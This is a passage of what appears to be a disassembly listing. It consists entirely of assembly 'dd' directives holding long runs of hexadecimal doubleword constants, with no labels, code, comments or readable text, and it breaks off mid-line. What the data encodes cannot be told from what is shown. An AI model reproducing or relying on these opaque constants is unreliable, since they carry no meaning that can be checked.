0C815E37Bh, 0A838626Bh dd 4EF93F5Dh, 94FE4B80h, 27018135h, 0B88C489Ch, 49F1C3h dd 0CAD6655h, 0D5DE1FF5h, 25ACD700h, 0D6212A4h, 8AD41EBFh dd 5F7FCB66h, 7312040h dd 7CEC6CFDh, 72A87C02h, 89638018h, 0C6AC038Fh, 434BE92Eh dd 0E97CC047h, 0CA9F7BEh, 177E0B9Ch, 0FEEEB498h, 0C600A0B4h dd 28514B0Eh, 696D603Fh, 0BCA23053h, 0A3099900h, 0EEBABF54h dd 0EF5D00F6h, 0DADB758Ch, 11006E1Ah, 0E3D329C4h, 1FEAE131h dd 40EFBA6Ch, 1B08830Dh, 0A600373Eh, 84E6095Fh, 787E40D3h dd 0B0E53AA7h, 0FD595E80h, 3ED64C67h, 0E3B5A300h, 87D2E149h dd 0CA030077h, 15FFFA02h, 0EE004C12h, 0EF85AD90h, 409B6Ah dd 8DB591A2h, 87D6BCE4h, 48F6B25h, 0AD0268FCh, 9C523166h dd 7946DB00h, 0E87BA32Dh, 0E7153B0Ah, 4332F181h, 0C9CB0D8Ch dd 2962F9B7h, 167ACC8h, 2DFE2FD0h, 0DC9336E0h, 96602B84h dd 0F1608F90h, 77731E9Ch, 7C1027DAh, 8600C2EDh, 0CD5208BEh dd 92A181h, 231AD25Bh, 4B638DACh, 7C416CAAh, 8641884h dd 3427D013h, 7340C2C4h, 8EDF134Fh, 382E98B6h, 0CBD51740h dd 0E2579FAh, 9F07BDAAh, 0FAB5560h, 0C5E22751h, 5180258h dd 0E0FF6BBAh, 7DC048DBh, 0CF330D59h, 4A557888h, 0E868827Bh dd 57725480h, 990093FCh, 0DFC63A59h, 0D47D67h, 0B996E6C0h dd 94564B0Bh, 0B8AFC903h, 0DF2FFD70h, 467488DAh, 351407B8h dd 0BF637245h, 8F8CD83Ah, 401C92A4h, 9E98AE93h, 0CE6C1500h dd 0FC643216h, 1FB50054h, 0E8F3B861h, 6726F65Dh, 4674844Bh dd 979F008Fh, 24AFD0A5h, 0B4A750D5h, 87943AE2h, 30B1849h dd 2C450B39h, 5160B6E4h, 9A12E5EAh, 38970747h, 8D71406Fh dd 0B989C7D6h, 3EBD0BA0h, 3CB1F8B0h, 9001A930h, 5BBD96E0h dd 0E2DC283Dh, 0E6CD101Fh, 0AA85E582h, 8B6960FAh, 0C6520297h dd 44231F84h, 0CE427871h, 76F854AFh, 56001946h, 0DED88D22h dd 500D3EF8h, 61BFE382h, 6E5F60h, 0D8B86B58h, 0FEDFBDD3h dd 0E7CDB90Eh, 921C0321h, 0C229C9E8h, 137FE03Dh, 305076D2h dd 0BCA3FE10h, 453D7F01h, 0E160841h, 12652CCCh, 209CACCh dd 80B6697Fh, 10709C73h, 0D33A00DEh, 49988BADh, 90B88EF4h dd 91738F12h, 76F84070h, 0DBF00B4h, 219CF3DCh, 74019E15h dd 36982FFAh, 2C705B4Ah, 6C4027EEh, 80F4E82Ah, 19438452h dd 6025CBA3h, 45448348h, 96E97206h, 9029E24Ch, 0A0CBB822h dd 216A58F8h, 28AF0EB7h, 76215E10h, 0C4C06B11h, 789E19BDh dd 0BCD33097h, 0F0638B24h, 256BF78Fh, 281780B3h, 7980C391h dd 8F651BF3h, 4A14E24Ch, 84822035h, 4DB530D7h, 0A41B8C12h dd 7F01248Bh, 0BC104DBEh, 0FBB187C1h, 0C4837E42h, 7A25A8D7h dd 99B83990h, 0BF6B4105h, 1B70C046h, 95237Dh, 0AB43887Ch dd 4A6098F7h, 0AE3890C2h, 0C30F9532h, 0B2E72F4Ah, 3081DC52h dd 0C323BBAh, 8033A4F2h, 7303820Fh, 13CE0075h, 9751842Ch dd 0E4809FA3h, 0C0B54A3Fh, 3346D784h, 8C755728h, 0FEA42195h dd 0E878374Dh, 0F44FF06Bh, 3193B640h, 7805387Dh, 8E14D16h dd 0A1CF538Ch, 8283BAFDh, 0CB00244Ah, 33B7FD80h, 0E20C4344h dd 0D082EE47h, 847858BFh, 8642313h, 0F08557C0h, 0B80ED798h dd 1A2CD0C7h, 48BD1018h, 8C1CE81Ch, 84536C26h, 90327B60h dd 89AC0816h, 0FF80A7E3h, 5004BCC9h, 518B0088h, 0D02359Fh dd 117DBE17h, 0FE633316h, 0E06884C9h, 8CC3ACh, 68BB8F6h dd 97DF30B7h, 7C054373h, 0D0E5625Fh, 58B22484h, 2630ABE2h dd 0DAE21492h, 83058D3Dh, 0B3CE2343h, 0AFF0C438h, 89E8B8BDh dd 0A243BB3Fh, 3F5410C6h, 7EC102A6h, 7271C752h, 0A011C968h dd 15BD8468h, 0F1D22C9Eh, 18AA59ECh, 7D2101C1h, 60BDE22Eh dd 0CE4830F7h, 4C8F5088h, 434BA84Bh, 14DFA918h, 0D478ADEAh dd 0A9DEE376h, 63426CC0h, 1FDE7BDAh, 0CFEA4DAFh, 0DA08992h dd 3507F9A8h, 44CE844Ah, 0A9C1C4C8h, 7DF5D3h, 28CD7EC8h dd 91CC8802h, 9711FA24h, 0DC77D4C0h, 7034B000h, 18A5E92Ah dd 5838E51Dh, 0BBFEEE09h, 50B17090h, 0F05A5809h, 955E0034h dd 70D628h, 3AE3D14Dh, 0C737E8FEh, 0A45980A2h, 8E18B779h dd 6A073975h, 54918D82h, 44F47A09h, 760071A9h, 40A0DB31h dd 7A9E5C3Fh, 337F00DEh, 0A5F0216Bh, 94E5096h, 26C3C422h dd 800C94C8h, 21033060h, 14B5002Bh, 0E878C625h, 0EB01AB81h dd 0D480166Ah, 0B0388A51h, 953AB80Bh, 0DF010C82h, 349454C2h dd 91981597h, 0A511898Dh, 0CC0018F4h, 74215C5Ah, 2CF49801h dd 8450437Dh, 0B86FAD6Dh, 0AA8685D8h, 9114B0C8h, 937F844Ch dd 4AF0196h, 182BFF12h, 49C8A0E8h, 963F8712h, 0B4C8F48Eh dd 8BC8F9C0h, 276D1125h, 38C1249Fh, 0D48F8311h, 645167A2h dd 94590454h, 72803ABEh, 280DE33Eh, 1A0960D1h, 203B2F51h dd 55178FACh, 0D878E570h, 88248B4Bh, 0BF21C012h, 0D10BE179h dd 826C8F0Eh, 3A1CB84h, 88A06027h, 0ED4E3F33h, 0BF8C481h dd 5B84E800h, 0C7289060h, 0A802613Ch, 0B10655A4h, 59640984h dd 0D609B483h, 0BE485A90h, 42C0BC02h, 80CA081Dh, 0A8A2F1DCh dd 0C387254Ah, 80E4B085h, 0D3338214h, 747C0E95h, 0FAD0AECh dd 0B79ED81Dh, 780B6302h, 205CF8EFh, 0C1484D2Fh, 0C06539F4h dd 43F11387h, 42A4A0FFh, 8F05140Bh, 0BC60973Ah, 0B90138C6h dd 1B26A5B9h, 0BF31D960h, 595F1180h, 0B1C6CBF9h, 51FC9097h dd 4CB20088h, 0FA68150Eh, 60B1E783h, 0E819FDD1h, 74BBE5Ch dd 0EEAA10D0h, 51EC01E7h, 645571C2h, 77483C0Ch, 14D96180h dd 0ACA6A794h, 13158400h, 0C2072B6Ch, 84180A26h, 0A988091h dd 0DC48516Ah, 0DA91E04Ch, 0FB2D00F1h, 0BB31906Ch, 142FC7D0h dd 1FB08061h, 0DC6F5Dh, 862E6BADh, 5932FED8h, 306100E9h dd 81D89EFFh, 0F0297719h, 1843D449h, 0F26C0400h, 205FC6BDh dd 65850FABh, 0BE808BAEh, 0BB526B71h, 7AA9C960h, 0E02F1B42h dd 0DF7C047Bh, 0EDF2E430h, 0F9EF088Ch, 1B7029Fh, 8CC1B055h dd 6BD10B1h, 0C96C3F0Fh, 0C414C826h, 34D0203Fh, 48914087h dd 0F060DC94h, 90E90763h, 91D0FC28h, 0EEFDF9F0h, 241CFF18h dd 402007DCh, 0E902DFE6h, 4951CE07h, 68CD9733h, 781D9C62h dd 8138AC1Dh, 875E2B84h, 9C6F3FF2h, 51298100h, 0DA762337h dd 0E3AD0901h, 5F2BBBE0h, 0B81A9824h, 4CAA1800h, 0D4D7B930h dd 0B3B72F09h, 4AB00133h, 0A183568Dh, 92213F27h, 874C1809h dd 86FC2FA0h, 0A41203Dh, 0FDEEBDBCh, 93BC21C8h, 83D06116h dd 23B43DC0h, 136A0182h, 0E6427D6h, 134D7100h, 0E50F27F3h dd 9E49h, 0AEE929D0h, 0D641E85h, 52C874Dh, 0BC807898h dd 9D008CB7h, 0B9D38F70h, 4848C8EBh, 400CACD0h, 0BA29BEE4h dd 72DA5900h, 617343D3h, 7DE20F60h, 0BBE04077h, 0C7508F5Ch dd 1856844Fh, 880650D8h, 37ECA490h, 0F23E9C00h, 0BCB84A25h dd 48D878B9h, 8B803CBBh, 0FABFFF3Ah, 9331860Fh, 89E38FB3h dd 0D0AC53D7h, 2A28157Bh, 0F552E53Ch, 330809FCh, 898F1C3h dd 841FC8B3h, 0F01BE407h, 0C4F63BC4h, 0B1E67DB0h, 2538F359h dd 11709763h, 0A7F88719h, 0D1067AC0h, 17BAF47Fh, 2518BDD9h dd 85448708h, 0C678E440h, 0E4A47E27h, 152E20A4h, 0CA08BF8h dd 922004C7h, 880D09A1h, 4C05BE93h, 0F2F4CC7Dh, 0E46F6A00h dd 0E7FBB698h, 80780762h, 0E0F352F5h, 6E689BB3h, 0CEA0533Ch dd 0B91CC8h, 8AFADAC2h, 0A37B0F88h, 7EB4F800h, 14AC1FBEh dd 5E02008Bh, 0ADE4434Bh, 27749F88h, 198AA8C4h, 0F537D607h dd 5E64C8A0h, 0BC421141h, 9858F0FBh, 9F6532CCh, 90764031h dd 67F500DCh, 16410F02h dd 78543153h, 7C92D1BCh, 0E76300A0h, 0C71564BEh, 9489CACh dd 0D44A02AEh, 0A8E395D2h, 437B40CCh, 5B59892Dh, 1F0481C7h dd 300505D0h, 10B9CE97h, 0D07318D8h, 0CAAF2184h, 1FCDB708h dd 0CE5F0847h, 880EC105h, 3C4164ADh, 403C1060h, 60995036h dd 186D7B80h, 267C164Eh, 97B46B65h, 785C33F9h, 0B9E7E1h dd 0BBBF3D6Dh, 5CE826F0h, 621DFE46h, 0C0A7985Bh, 8A80DD23h dd 0A9BC2DF2h, 0FC11F497h, 84059680h, 0B31C88C3h, 728BF219h dd 0E38C46Bh, 49148CDCh, 7BE3F780h, 6F7057A8h, 0FC7F3500h dd 5DC02A59h, 1B610074h, 0A3B196EDh, 7A5CE58Bh, 6705958h dd 2144B655h, 0C0D70279h, 4E50CC7h, 0E2F854F0h, 3CD38809h dd 318588Bh, 4E595E76h, 30A05B4Dh, 532C5A20h, 0E908D4A4h dd 0E058000Fh, 0C03D069Fh, 0FF47CCBCh, 883F3640h, 71730708h dd 0E0A27942h, 7AA4C1Bh, 2230441Fh, 1BADA02h, 4ECC723Ch dd 6A0043B8h, 0FDD89A23h, 69001A6Ch, 5E01A878h, 27D9EA9h dd 0A784AEC2h, 186088E8h, 4A88CE40h, 0DB5E97h, 0D4118C04h dd 0B27229FEh, 0EF90863h, 4C4BA9B4h, 13D18370h, 0B0A34388h dd 91005834h, 9E0684C3h, 2CB2FB2h, 0C1AD970Ch, 185A8CC7h dd 3E1A8598h, 4B11C9E4h, 0A8B6C018h, 5994075Ah, 50F71DE6h dd 3F374B5Dh, 5C08755Fh, 1CD8265Bh, 597D4014h, 6EC34956h dd 0AFD24A00h, 47546055h, 0F42C3911h, 8C180076h, 44645C05h dd 173A4B43h, 0CAED0C81h, 46211045h, 9A030396h, 6442805h dd 7810231h, 0D0A4157h, 463E52Ah, 5753B4C1h, 0C20A1080h dd 0F716AE68h, 77F02EECh, 324A600Ch, 3F45315Ch, 0DA00D802h dd 0C22EF6D4h, 48E8F71Ch, 0FA9821C0h, 0C097DD7h, 5B3D5E7Fh dd 0C8009D19h, 9EC97AB3h, 147D58D5h, 44D21395h, 60866864h dd 2306D7F6h, 4B11F4DAh, 0D80E9C00h, 3313CAC5h, 4EFD0A18h dd 33AD1h, 0CC74021Ah, 0EAB41F21h, 0C5066F00h, 1D13BF44h dd 0C0F7912h, 59322E03h, 0CC3B5251h, 47BA01EEh, 0FA3D6501h dd 60F95AC0h, 17585953h, 490233C4h, 15C04879h, 579380C2h dd 7A89BC88h, 4F970A01h, 86AC3DCAh, 61535642h, 494AFA30h dd 1C57996h, 0DB6C58B7h, 0F05E78A7h, 1163688Ch, 70BED39h dd 210595EEh, 206DE35Fh, 802B09A1h, 1C1F5620h, 0F4C78877h dd 0A65238FFh, 32B296h, 63787002h, 1750DC4Fh, 1D01EF44h dd 5531CE01h, 16E04403h, 7B1100A3h, 0DB2E136Fh, 0A1C061DCh dd 1DF53BD7h, 525F7848h, 0F014C88h, 0A596031Ch, 0CFEF0C20h dd 1CC35A21h, 67C9DFFBh, 8487FC41h, 46CFEA1Eh, 589601C2h dd 85FCA779h, 8F378DC3h, 52564341h, 8048FD11h, 2C3D3189h dd 0D1D8CFh, 2DF64E97h, 148701B8h, 58D6DF28h, 26916C01h dd 0F6905225h, 0CBC2824h, 2EBB0CE4h, 8225CA11h, 173749Fh dd 80B1113Ch, 80C6D13Fh, 9F8D7521h, 3A581D69h, 0BA8EB93Eh dd 0A8270BA6h, 783AE0D0h, 0C7385524h, 0D8B6185Eh, 12252F39h dd 3707042Eh, 1AF52040h, 1400FAC4h, 0B56A48B2h, 1321D1h dd 0A9FED2DCh, 0F7DE5BCCh, 0A5612D00h, 5830EA15h, 63120CE9h dd 43495FFCh, 88EF2E0Eh, 41CE81C9h, 89956E0h, 0F91E2138h dd 0BDFBD8EFh, 53503E90h, 8B0AD390h, 0A8543D81h, 0E0CE4680h dd 0F05D92h, 39FCFFCAh, 69620AC5h, 0C8356630h, 0C0583D2Dh dd 0E450D831h, 0E009BB4h, 45E1A9F4h, 0E025E78Bh, 0D5265098h dd 800C5490h, 39316739h, 99210107h, 0CF67CC35h, 0F2E5800h dd 786D237Eh, 369F0B94h, 2785EB98h, 4B37825Bh, 40443047h dd 39372466h, 5BF0792Fh, 73DFB8h, 86846891h, 0D4034479h dd 5319FC01h, 30B5C5C4h, 0DC05B184h, 0DD2080D7h, 0DB8012F4h dd 92F012C0h, 84C1294h, 0F8C07C44h, 21DA0CD7h, 4691F704h dd 0D8108200h, 4FE1962Bh, 5D7B5300h, 69B274D0h, 78296CD6h dd 28C6FE8h, 95F61C0Ch, 0B18211Dh, 0D840822Bh, 0D00E931Bh dd 0D1C84FAAh, 41B5420Ch, 0DF12ED79h, 0F4087B0Fh, 60298784h dd 2823F9A5h, 19074768h, 0D764E251h, 0B6CEE06Fh, 0F2935Dh dd 9A45364Fh, 793D8A8Dh, 88C4604Ch, 0D7FBC07Dh, 1C21DA01h dd 132560F7h, 0CC0645D8h, 58573D77h, 0DD501419h, 0B3115C18h dd 0FAC040E4h, 82165F80h, 4FE74840h, 0B1540174h, 0E904C570h dd 1555A610h, 0C988E88Eh, 0E6B3A6C0h, 0C34B0F84h, 7EB295D6h dd 90A6023Ch, 0C4264DAh, 0DC60BBB8h, 30A8C0D9h, 358B0BDh dd 82A54A78h, 41481568h, 1E10102h, 0F8322439h, 9D8D420h dd 40D52B88h, 6065FC04h, 2382EF48h, 3A115EC9h, 0EF001C3Fh dd 0F22D8932h, 0E20AC685h, 4C5EDBDAh, 0E9152E01h, 0DDF0CD46h dd 0C804B293h, 2FC06468h, 46C987EFh, 392286h, 81EF8521h dd 0A18C7B8Bh, 60090E7Ch, 3D140ADh, 99BED730h, 9C229CA9h dd 0F4008023h, 0E4DA10D7h, 494486F6h, 0D80C009Eh, 76781D73h dd 0FDE04596h, 38852638h, 3CF08B8Eh, 0C7198049h, 60FA1507h dd 0BE299950h, 0DC00649Ch, 0E24291ABh, 0E8884CDh, 3C7B40AAh dd 1088C50Ah, 0D5B6854Fh, 0DE28D44Fh, 1140D19Fh, 0E196FEDh dd 15450AFCh, 40F86895h, 49D8B717h, 0C900C479h, 186589FDh dd 4C1B56h, 4E9F4650h, 0BBC7D707h, 4C0DE424h, 32F483C7h dd 4C6202C5h, 8B1820CDh, 7972A19Fh, 784883Dh, 75B539C7h dd 436863h, 87F68381h, 0CA9D224Fh, 249EB700h, 0DAC48621h dd 0D96060D2h, 5BB343F5h, 0C77BC183h, 34506D30h, 8249EEDFh dd 552031ECh, 9C0820h, 24351D5Dh, 0BC8EFDCEh, 463B6A76h dd 45EE0409h, 0C480E908h, 3D3F9931h, 0C6801113h, 548714E7h dd 409BB33Dh, 0FCCDD40Ah, 0F5804B11h, 0ECDA0FD7h, 9BC7DCB9h dd 0D6FCD830h, 0DB3202F2h, 0D7DF6E9Fh, 5515D0A0h, 2400165Ah dd 83301E8h, 4071C2h, 2F25EB97h, 68731CB5h, 5211E38h, 54CE5D39h dd 3072A0C2h, 0F9131C01h, 0B0381595h, 1B65004Ch, 0ED5EF7D9h dd 0DA0C02A1h, 411AC44Fh, 3EAA3142h, 860185B1h, 0DBB45E69h dd 4CEF00A9h, 0B2C2D4E3h, 8373E71Eh, 29108405h, 2C9458FAh dd 212494C2h, 747D2DFh, 340268C5h, 0F67B3121h, 0DDD30FDCh dd 5084EDC9h, 52B49825h, 94408C4Ah, 92F9880Ah, 15F1F38h dd 0D5DEC19Ah, 6354D229h, 0AC2D2814h, 8CBEDA0Bh, 92A8461h dd 80210C84h, 518023B4h, 60E3E25h, 3B006667h, 54E611C0h dd 3EC1A1Ch, 79D64F8Ch, 59004269h, 7CCDD738h, 9E4987h dd 1B985A2Bh, 6217E003h, 0B891C909h, 22D880A5h, 0C544DC50h dd 41E0B439h, 7501439Ch, 71460C2h, 5BC04200h, 5EECBC98h dd 74DF506Dh, 10AB0143h, 0F0C3C80Fh, 92182CBFh, 47C8148Bh dd 61ED4EC0h, 43C0380h, 563D2C69h, 8C532100h, 82EAC0C6h dd 0CCD603BEh, 366EFB40h, 0F041D882h, 2C301913h, 0EC5D4844h dd 6AB03C4Ch, 0C4E89E94h, 2BA1C807h, 4402EE22h, 24804459h dd 800452FAh, 4AF0193Bh, 0EE0AC1CBh, 0F1C59551h, 0AED06F03h dd 42D7FAA5h, 80FC6900h, 6C64FA12h, 0FB2B5007h, 0CB3318DCh dd 7520C7CDh, 2F044ADh, 6C2CA18Eh, 2C46174Eh, 42355209h dd 0CFEC4D63h, 0F2F41BE0h, 0AC1AB33Bh, 60892BF9h, 86FD212Ch dd 86EF4404h, 34627EC9h, 0EFC02027h, 1A77485h, 71BF36ABh dd 0FCFF59F0h, 40601629h, 0EA3E6329h, 989B01D1h, 0E9C658B9h dd 0D53025C0h, 0BB88505Dh, 110EF4EDh, 81BED66Eh, 0BD89C635h dd 8C6B2980h, 0D8C8922Ch, 0E4398F01h, 56FF5E41h, 588CD4D3h dd 74C6F83Bh dd 11E1212h, 143832C0h, 31607C60h, 0C044FA88h, 2F6F75A1h dd 0CF0037AFh, 0D69794BEh, 1DC69960h, 0A0DC3CD2h, 85118C00h dd 2EC78808h, 0FD4900CEh, 0F995668Dh, 7C61B543h, 581A5029h dd 7C7B5BF0h, 1323023Ah, 0FBDDDB52h, 2FC62868h, 0F75BA20Eh dd 0EFD8C7F6h, 3CD13340h, 3FD4E209h, 6B81F257h, 20A61634h dd 81BED143h, 19AE2908h, 88C55763h, 475C3080h, 45CE815Eh dd 2DDBDE0Fh, 0E99100D7h, 34F48D1h, 51686E2Fh, 4EABF374h dd 2D801001h, 0EA53DEE5h, 7C650D4h, 1F5B5816h, 28463F7h dd 9EA00DDBh, 2C052A14h, 0E004DFA3h, 16569C04h, 957CCCh dd 91E6A1F4h, 4476D8C2h, 64405896h, 0EDEAAFh, 711DBF5Bh dd 0A9F62F5Eh, 3567A41Ah, 1ACC640h, 1A445B78h, 209EC30Fh dd 1F9CC98h, 82145852h, 882F1844h, 0D43EBEB4h, 29A8D87h dd 742160E2h, 9C987EEBh, 3978300h, 0D1A6E1C5h, 0CCA5854h dd 6F4052C8h, 1D038DF7h, 0D218505Dh, 0A00C20FCh, 1600EB9Fh dd 30D25931h, 4C53BE4Ch, 2D22E455h, 899FB80Bh, 5090800Bh dd 0C0405D42h, 0D1A27B59h, 687FDB43h, 0DFD7C306h, 91C834B5h dd 21BF03E0h, 710098FAh, 0F426E2B9h, 7BF2F3EEh, 3FA3E6D7h dd 0AE1685AAh, 0D5440481h, 4AC044E4h, 51E0E04Eh, 3D50A1BDh dd 3B81D160h, 197385Bh, 67E2A0FEh, 0C85AB8FBh, 493BFD03h dd 1D0B0194h, 0BDB0F364h, 6396920h, 1AAEE376h, 660118F7h dd 0A9836A7h, 0B3F0AB46h, 0C68580F6h, 1C559601h, 170F182Dh dd 1A274ECh, 7671D329h, 8383C15Bh, 7B4BBC58h, 69E6BEh dd 48DB4AF6h, 9C74A3D2h, 0A2F13Ah, 1F3771EEh, 225C449Bh dd 0B100A8CBh, 574B3DC3h, 0B53095h, 3A3B7B7Ah, 0BDE5494Eh dd 98434700h, 1E9FB301h, 0F860C3F4h, 0B4E031FAh, 2601D951h dd 10703C49h, 7181CF11h, 0A1C7D57Eh, 0FC7CC174h, 0E30027FBh dd 72F85F99h, 0B36390h, 368F675h, 16BD2218h, 0B985F500h dd 0A07981AAh, 0B7BA043Dh, 0C05651DCh, 335ACFC1h, 3B68CE0Bh dd 613F806Ch, 0AAC626h, 0C38C76F1h, 0B58A4413h, 9E045303h dd 0E77E2BBCh, 2CA188Ch, 0B62C23F4h, 20B63212h, 9A650A10h dd 0B67B6D07h, 0F9BB4314h, 8D9F2DA0h, 8F849E38h, 806AFA6Fh dd 0C93C8709h, 0DA5D00EAh, 0F02882C6h, 1443B9DBh, 0BAF9819Bh dd 14200439h, 0F70B045h, 0D3CF415Ch, 0FCDE2480h, 8000BF57h dd 8444C8F9h, 15376BEh, 12F56D7Fh, 5617AA0Bh, 54540834h dd 1E23EE80h, 0A01F5A8Dh, 59B28138h, 48D39C1Fh, 0A350130h dd 19CD52D7h, 182B0AE8h, 2018FC04h, 0BD50BBC5h, 0F40C00FEh dd 0CADC9708h, 313B2B81h, 0D02A00D2h, 9D59FA1Fh, 2BD0CF6h dd 0F028F3FBh, 89D5F684h, 84E708E6h, 22C54422h, 8222D68Dh dd 9733258h, 14859879h, 0E2804B2h, 6204656h, 112C4229h dd 0AA11DFA7h, 4C81155h, 39C48010h, 32DC0054h, 6E1539B1h dd 17DB3F46h, 0BD0E6194h, 0C162F403h, 0A298A369h, 1000A048h dd 9F2A9B71h, 8FF54Ch, 0A65ABF6Bh, 213331B0h, 7F5C6C04h dd 3CC349D1h, 836E8DDh, 0E8E00067h, 15FD96C9h, 0AA00CB1Ah dd 7C3E201Ch, 0A4AE3Fh, 50B38902h, 65513181h, 0D065877h dd 2C03D19Eh, 3867009Ah, 0A75C5ADBh, 54002371h, 3CCB79BDh dd 2458556h, 4E984C7Ch, 49E35E46h, 0E08AE2E1h, 42005188h dd 97CA949Ch, 0EFDC04h, 490A2ED8h, 239FF380h, 0AD85E31Dh dd 8118900h, 184DE2CEh, 108662FCh, 797EC3F6h, 0D6C73A00h dd 7883C8ADh, 0A4773EECh, 0E4DF1683h, 19F8A920h, 80CA4FD4h dd 6700C111h, 0B2CC4842h, 27C300A2h, 0E22B9B9Ah, 6901C0F8h dd 0C143C5A6h, 0E0C0CB86h, 6FC2009Dh, 4E5D14A5h, 0FE00DBC0h dd 189C1E53h, 1C1BE89Fh, 40CFDF64h, 0F5D3E5FBh, 0AB7D73BBh dd 8145B0Eh, 0E906608Dh, 7A1B03AAh, 3F720245h, 5D935A6Ah dd 4788DDE0h, 13BD6E0Ch, 24256049h, 78913Ah, 0F38945Ch dd 4600332Fh, 0B39C669Ah, 125D28Eh, 0BAF28524h, 9FCEEB62h dd 0F6C0B010h, 0BBB42B49h, 56CD19DBh, 50D4488Ah, 0D1456154h dd 710054E6h, 5D5FFB0Eh, 8E8B3Bh, 68E71483h, 1D90F54Fh dd 4AA2D200h, 0A1B17AF4h, 8CB00058h, 0ADA8AC75h, 5A0004BCh dd 1B602C4Fh, 1E79C73Ch, 0C0339311h, 0FC180695h, 0B900F4B1h dd 6AAEA840h, 73D53A5Eh, 0EE75386Dh, 0F4B20A85h, 66FE004Ch dd 539E455Dh, 0F93E507h, 86907E7Ah, 90FD91h, 0D6CF602Dh dd 0AD266D3Fh, 8755F70Ch, 5B4419h, 0CB85F6EDh, 68C5EF60h dd 6DA82A00h, 4187AA80h, 0DF820079h, 0ABF10C21h, 0BC072760h dd 6BF0B29Ch, 1C902090h, 0BF771EC7h, 0AE10B381h, 3C296880h dd 0A8BA1801h, 62A016D8h, 0DCEFD8h, 0D6252C31h, 0AD75EA86h dd 3D7F1500h, 2BA1680Ch, 9A7D04CEh, 8002D98Bh, 2F375D10h dd 5E441F00h, 0F18AB606h, 510E0090h, 3F325794h, 0B907F242h dd 0E2FBD3F9h, 0AA9901D0h, 4D5D0777h, 0E08F6327h, 60EB290Ch dd 3800217Dh, 675602FBh, 0B617E3h, 9F8BCFA7h, 0CA78821Ah dd 0FD00277Fh, 44AE3E62h, 76040A83h, 948F13AAh, 4241B043h dd 487FA300h, 35C10F9Bh, 8170E3Ch, 9D802DE0h, 771BFE67h dd 7A960E00h, 55F94C90h, 30787D81h, 7111B3ADh, 3801E880h dd 107B5150h, 3160287Dh, 845800C5h, 0FEA5E0ACh, 6F02A93Fh dd 9FE995E6h, 0CE934083h, 0AF3A00FAh, 0C5A2FECDh, 0E00FF23h dd 858CCAD7h, 4DC126F1h, 3D00F8CBh, 0A2CF1BE5h, 6303242Ah dd 0F1FFD50Ch, 0D7C000A0h, 0C15FE044h, 19E288B6h, 11F8ECF1h dd 90F0C700h, 9FD99825h, 2B3F0089h, 5C02675Dh, 0DC1E7655h dd 8583FD35h, 0D8154A7Eh, 4D7CACh, 60E52D45h, 4213DC1Fh dd 203A8490h, 31438072h, 242D1BC5h, 8F78E6h, 54941041h dd 0D644789Ch, 80B66A3Dh, 0FC98A84h, 93D8C0Dh, 20C43285h dd 253FA200h, 903F95B9h, 0F0FA0052h, 7FED76DAh, 45CE022Ah dd 1DA2B0A5h, 0F8991C41h, 1E004077h, 0A1D91262h, 2CCE4h dd 47E9D82Dh, 5DEE76FBh, 165B7F12h, 0AF468407h, 0E9A8D450h dd 1ABE1D80h, 0F7244503h, 6A16C19Ch, 0CB1C20FDh, 0B549F0B0h dd 4B60001Ch, 491DF08Ah, 0F8EC0AAh, 3BFA1986h, 4669E0Eh dd 0FFCFC021h, 0A3CEB9B6h, 8AF8D888h, 0A9C406D6h, 19B3BCFCh dd 6512C000h, 0B187ED05h, 0FBE50398h, 67F8377Ch, 0F0016F99h dd 6B00FDAAh, 12E75053h, 98D1321Bh, 1196079Ch, 10AF904Ch dd 1BD1A2Eh, 8AB9CC00h, 0D1170E75h, 504509D4h, 0E480B4DAh dd 0A5F8D967h, 79063600h, 0E03A5D44h, 545A00EFh, 2C094C78h dd 6B507DBBh, 4A0056C7h, 7BB21766h, 558ED5Eh, 4D7F63E0h dd 675FC008h, 0E2005BF3h, 681069FFh, 0A60945Ah, 8BA33B2h dd 38100C8h, 0AAE17B30h, 8ED06A0Ah, 0F400BE4Bh, 0E27E2120h dd 946600BEh, 0F9AF1747h, 87039DB2h, 181755Fh, 0DBD3B048h dd 0FAD1403h, 2D148B55h, 0E7AC8FCh, 0B1DD1A40h, 8D20F02Fh dd 0E4ADB7D0h, 0D7198900h, 0A598BDE9h, 1EB06Dh, 0EE66EB58h dd 0D9D3D09Fh, 77876F1Ch, 0E678E382h, 0C338C0FCh, 309B00Dh dd 0A670BAF4h, 20C83992h, 5100479Dh, 0DD5F09F6h, 1DF4BC99h dd 0C0584315h, 1E7ABE59h, 0B6E864EAh, 44C04103h, 0B08FEB9Ch dd 4E91F3h, 6DC7189Dh, 0ADED3614h, 135AE207h, 0FF2094E4h dd 368523Ch, 9178DCDBh, 1BE8C963h, 36043BF5h, 3C7970A8h dd 3950B287h, 0E7204Ch, 60C2E2CDh, 8DB59AC9h, 826E161Eh dd 55F6B680h, 0FEAAD8h dd 960A7C9Bh, 76E4438Bh, 0E59D5400h, 447BA742h, 0BC88001Fh dd 27ABE174h, 8600C98Dh, 1231D926h, 0E4E2A051h, 0D2FAFBh dd 388992CCh, 182841ECh, 0A18EF51Bh, 70A6E05Ah, 0D1A40026h dd 0C922EAFAh, 0ED009721h, 5520B4ABh, 0D0BBC1Fh, 0C31014E3h dd 0E58530B1h, 0C509BE00h, 6295381Ah, 0FA8602E8h, 47509B08h dd 6718DCC4h, 28188C61h, 4B202E34h, 0A0C900D0h, 0AB6DBE6Ah dd 7DF2B700h, 0CDA8BFDAh, 2ECE0055h, 28A78EDEh, 9714FF5h dd 3829CC00h, 8FAF119Dh, 17D75EAh, 60D62EC9h, 20D93E30h dd 545C8BE5h, 0C0772E1Ch, 0F57ED180h, 0E278E8F1h, 0AE83001Fh dd 7C942F03h, 71730CA1h, 0C1A38712h, 5860B100h, 0D62CFCh dd 3D9F802Eh, 501929C6h, 614A4102h, 40A9D17Fh, 7E5A450h dd 1AB66C7h, 0C818C95Dh, 90061054h, 0E7704A0Ch, 469A3FF9h dd 0D22DB407h, 0C74545FFh, 9D3A5064h, 6103862Ch, 24049998h dd 0AB2FA934h, 0D95A3980h, 0DBD8440h, 586D2900h, 0F1EFAC8Bh dd 20160044h, 47D76834h, 73013F76h, 2B15E670h, 0DBC0DFC6h dd 587B007Ah, 4875F84Ch, 80B8E2EDh, 868A0205h, 0BCC02D20h dd 9D903Ch, 0EC71347Bh, 0F910764Bh, 102248h, 0A43A0F1Eh dd 6017E2h, 0FD41B4F6h, 51B932BAh, 50FE6131h, 6DF4DDF2h dd 0E0A4EAF5h, 0D9B10033h, 731CA20Ah, 5401236Eh, 72AAE8ADh dd 0D8848778h, 0A217402Bh, 3507C01Ch, 168292A7h, 5AFF99h dd 0ACAA34B4h, 2D0101EAh, 5FF770F8h, 93FCDED1h, 974A036Ah dd 